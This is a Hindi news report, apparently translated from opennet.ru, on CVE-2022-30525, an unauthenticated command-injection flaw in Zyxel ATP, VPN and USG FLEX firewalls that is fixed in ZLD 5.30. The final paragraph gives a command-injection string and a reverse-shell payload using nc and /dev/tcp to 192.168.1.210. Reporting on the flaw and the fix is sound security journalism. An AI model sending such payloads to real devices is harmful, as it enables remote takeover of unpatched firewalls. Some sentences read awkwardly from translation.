Zyxel फ़ायरवॉल में भेद्यता जो प्रमाणीकरण के बिना कोड निष्पादन की अनुमति देती है

उद्यमों में फ़ायरवॉल, आईडीएस और वीपीएन के संचालन को व्यवस्थित करने के लिए डिज़ाइन किए गए एटीपी, वीपीएन और यूएसजी फ्लेक्स श्रृंखला के ज़िक्सेल उपकरणों में एक महत्वपूर्ण भेद्यता (सीवीई-2022-30525) की पहचान की गई है, जो बाहरी हमलावर को कोड निष्पादित करने की अनुमति देता है। प्रमाणीकरण के बिना उपयोगकर्ता अधिकारों के बिना डिवाइस। किसी हमले को अंजाम देने के लिए, एक हमलावर को HTTP/HTTPS प्रोटोकॉल का उपयोग करके डिवाइस पर अनुरोध भेजने में सक्षम होना चाहिए। Zyxel ने ZLD 5.30 फर्मवेयर अपडेट में भेद्यता को ठीक कर दिया है। Shodan सेवा के अनुसार, वर्तमान में वैश्विक नेटवर्क पर 16213 संभावित रूप से कमजोर डिवाइस हैं जो HTTP/HTTPS के माध्यम से अनुरोध स्वीकार करते हैं।

वेब हैंडलर /ztp/cgi-bin/हैंडलर पर विशेष रूप से डिज़ाइन किए गए कमांड भेजकर ऑपरेशन किया जाता है, जिसे प्रमाणीकरण के बिना एक्सेस किया जा सकता है। समस्या lib_wan_settings.py लाइब्रेरी में उपयोग किए गए os.system कॉल का उपयोग करके सिस्टम पर कमांड निष्पादित करते समय और setWanPortSt ऑपरेशन को संसाधित करते समय निष्पादित करते समय अनुरोध पैरामीटर की उचित सफाई की कमी के कारण होती है।

उदाहरण के लिए, एक हमलावर स्ट्रिंग को पास कर सकता है “; पिंग 192.168.1.210;" जो सिस्टम पर "पिंग 192.168.1.210" कमांड के निष्पादन को बढ़ावा देगा। कमांड शेल तक पहुंच प्राप्त करने के लिए, आप अपने सिस्टम पर "nc -lvnp 1270" चला सकते हैं, और फिर ';'' के साथ डिवाइस पर एक अनुरोध भेजकर रिवर्स कनेक्शन शुरू कर सकते हैं। बैश -c \'exec bash -i &>/dev/tcp/192.168.1.210/1270 <&1;\»;'।

स्रोत: opennet.ru